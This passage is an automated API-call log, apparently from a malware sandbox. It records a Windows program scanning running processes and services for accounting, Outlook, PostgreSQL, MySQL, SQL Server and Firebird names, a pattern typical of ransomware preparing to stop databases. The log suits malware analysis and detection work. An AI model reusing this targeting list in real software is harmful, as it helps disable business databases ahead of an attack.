[0274.253] lstrlenW (lpString="System") returned 6 [0274.253] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0274.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0274.253] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.254] lstrlenW (lpString="smss.exe") returned 8 [0274.254] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0274.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0274.255] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.256] lstrlenW (lpString="csrss.exe") returned 9 [0274.256] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0274.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0274.256] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0274.256] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0274.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0274.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0274.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0274.257] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.558] lstrlenW (lpString="wininit.exe") returned 11 [0274.558] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0274.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0274.559] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.559] lstrlenW (lpString="csrss.exe") returned 9 [0274.559] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0274.560] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0274.560] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0274.560] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0274.560] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0274.560] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0274.560] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.561] lstrlenW (lpString="winlogon.exe") returned 12 [0274.561] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.562] lstrlenW (lpString="services.exe") returned 12 [0274.562] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.563] lstrlenW (lpString="lsass.exe") returned 9 [0274.563] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.564] lstrlenW (lpString="lsm.exe") returned 7 [0274.564] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.565] lstrlenW (lpString="svchost.exe") returned 11 [0274.566] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.566] lstrlenW (lpString="svchost.exe") returned 11 [0274.567] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.567] lstrlenW (lpString="svchost.exe") returned 11 [0274.568] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.568] lstrlenW (lpString="svchost.exe") returned 11 [0274.569] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.569] lstrlenW (lpString="svchost.exe") returned 11 [0274.570] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.571] lstrlenW (lpString="audiodg.exe") returned 11 [0274.571] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.572] lstrlenW (lpString="svchost.exe") returned 11 [0274.572] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.573] lstrlenW (lpString="explorer.exe") returned 12 [0274.573] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.574] lstrlenW (lpString="dwm.exe") returned 7 [0274.574] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.575] lstrlenW (lpString="svchost.exe") returned 11 [0274.575] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0274.576] lstrlenW (lpString="winhost.exe") returned 11 [0274.576] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.577] lstrlenW (lpString="spoolsv.exe") returned 11 [0274.577] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.578] lstrlenW (lpString="svchost.exe") returned 11 [0274.578] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.579] lstrlenW (lpString="taskhost.exe") returned 12 [0274.579] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0274.580] lstrlenW (lpString="reader_sl.exe") returned 13 [0274.581] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.581] lstrlenW (lpString="taskhost.exe") returned 12 [0274.582] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.583] lstrlenW (lpString="dllhost.exe") returned 11 [0274.583] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0274.584] lstrlenW (lpString="consent.exe") returned 11 [0274.584] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.591] lstrlenW (lpString="dllhost.exe") returned 11 [0274.591] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0274.592] CloseHandle (hObject=0x258) returned 1 [0274.592] Sleep (dwMilliseconds=0x1f4) [0275.457] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x436c9a8 [0275.458] EnumServicesStatusExW (in: hSCManager=0x436c9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0275.472] GetLastError () returned 0xea [0275.473] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x11e4) returned 0x42e5000 [0275.473] EnumServicesStatusExW (in: hSCManager=0x436c9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x11e4, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0275.475] CloseServiceHandle (hSCObject=0x436c9a8) returned 1 [0275.476] lstrlenW (lpString="Appinfo") returned 7 [0275.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0275.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0275.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0275.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0275.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0275.476] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0275.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.477] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0275.477] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0275.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0275.477] lstrlenW (lpString="AudioSrv") returned 8 [0275.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0275.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0275.477] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0275.477] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0275.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0275.477] lstrlenW (lpString="BFE") returned 3 [0275.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0275.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0275.477] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0275.477] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0275.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0275.478] lstrlenW (lpString="CryptSvc") returned 8 [0275.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0275.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0275.478] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0275.478] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0275.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0275.478] lstrlenW (lpString="CscService") returned 10 [0275.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0275.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0275.478] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0275.478] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0275.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0275.479] lstrlenW (lpString="DcomLaunch") returned 10 [0275.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0275.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0275.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0275.479] lstrlenW (lpString="Dhcp") returned 4 [0275.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0275.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0275.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0275.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0275.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0275.480] lstrlenW (lpString="Dnscache") returned 8 [0275.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0275.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0275.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0275.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0275.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0275.480] lstrlenW (lpString="DPS") returned 3 [0275.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0275.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0275.480] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0275.480] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0275.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0275.480] lstrlenW (lpString="eventlog") returned 8 [0275.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0275.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0275.480] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0275.481] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0275.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0275.481] lstrlenW (lpString="EventSystem") returned 11 [0275.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0275.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0275.481] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0275.481] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0275.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0275.481] lstrlenW (lpString="gpsvc") returned 5 [0275.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0275.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0275.481] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0275.482] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0275.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0275.482] lstrlenW (lpString="iphlpsvc") returned 8 [0275.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.482] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0275.482] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0275.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0275.482] lstrlenW (lpString="LanmanServer") returned 12 [0275.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0275.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0275.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0275.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0275.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0275.483] lstrlenW (lpString="LanmanWorkstation") returned 17 [0275.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.483] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0275.483] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0275.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0275.483] lstrlenW (lpString="lmhosts") returned 7 [0275.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0275.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0275.483] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0275.483] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0275.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0275.484] lstrlenW (lpString="MMCSS") returned 5 [0275.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0275.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0275.484] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0275.484] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0275.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0275.484] lstrlenW (lpString="MpsSvc") returned 6 [0275.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0275.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0275.484] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0275.484] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0275.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0275.484] lstrlenW (lpString="Netman") returned 6 [0275.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0275.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0275.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0275.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0275.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0275.485] lstrlenW (lpString="netprofm") returned 8 [0275.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0275.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0275.485] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0275.485] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0275.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0275.485] lstrlenW (lpString="NlaSvc") returned 6 [0275.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0275.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0275.486] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0275.486] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0275.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0275.486] lstrlenW (lpString="nsi") returned 3 [0275.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0275.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0275.486] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0275.486] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0275.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0275.486] lstrlenW (lpString="PcaSvc") returned 6 [0275.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0275.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0275.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0275.487] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0275.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0275.487] lstrlenW (lpString="PlugPlay") returned 8 [0275.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0275.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0275.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0275.487] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0275.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0275.487] lstrlenW (lpString="Power") returned 5 [0275.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0275.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0275.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0275.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0275.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0275.488] lstrlenW (lpString="ProfSvc") returned 7 [0275.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0275.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0275.488] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 